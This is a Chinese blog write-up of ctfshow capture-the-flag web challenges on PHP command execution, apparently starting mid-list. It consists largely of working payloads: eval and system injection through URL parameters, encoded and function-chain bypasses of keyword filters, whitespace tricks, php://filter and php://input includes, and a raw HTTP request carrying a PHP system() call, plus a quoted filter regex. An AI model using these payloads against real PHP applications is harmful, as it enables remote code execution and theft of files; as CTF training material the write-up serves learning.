ctfshow-web-命令执行

2401_86043875

于 2024-08-27 02:11:22 发布

阅读量791

点赞数 23

文章标签：前端 android

本文链接：https://blog.csdn.net/2401_86043875/article/details/141577043

版权

②内敛执行
?c=echo cat fl*;
?c=echo cat fl??.?hp;

③利用参数输入+eval
?c=eval($_GET[1]);&1=system(‘tac fla*’);

①其实就是highlight_file(flag.php);的url编码,适用php7
?c=(_{%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(}%99%93%9E%98%D1%8F%97%8F);

②通过嵌套eval函数来获取另一个参数的的方法来绕过，不会判断其他参数的传入
?c=eval($_GET[a]);&a=system(‘cat flag.php’);

③用函数绕
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=show_source(scandir(getcwd())[2]);

localeconv():返回包含本地化数字和货币格式信息的关联数组,这里主要是返回数组第一个"."
pos():输出数组第一个元素，不改变指针
scandir():遍历目录，这里因为参数为"."所以遍历当前目录
array_reverse():元组倒置
next():将数组指针指向下一个,这里可以省略倒置和改变数组指针，直接利用[2]取出数组也可以
show_source():查看源码
getcwd():获取当前工作目录

④绕空格
?c=passthru(“tac%09fla*”);
?c=passthru(“tac${IFS}$9fla*”);
中间拼接用%09
${IFS} $9 替换, 不行就在第一个$ 转义试试
4. web33
多过滤了; 命令执行构造包含然后伪协议不用分号

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);

include$\_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34
相比上题多过滤了冒号。

同上，秒了

web35
多了=和<，意思就是不让?>绕分号嘛，但是还是可以构造include秒了，试试POST方法的，需要伪协议input执行该POST请求。

GET /?c=include$\_GET[1]?>&1=php://input HTTP/1.1
Host: 8885362a-8593-4c47-8a66-49fc4ab85f9f.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 31

<?php system('tac flag.php');?>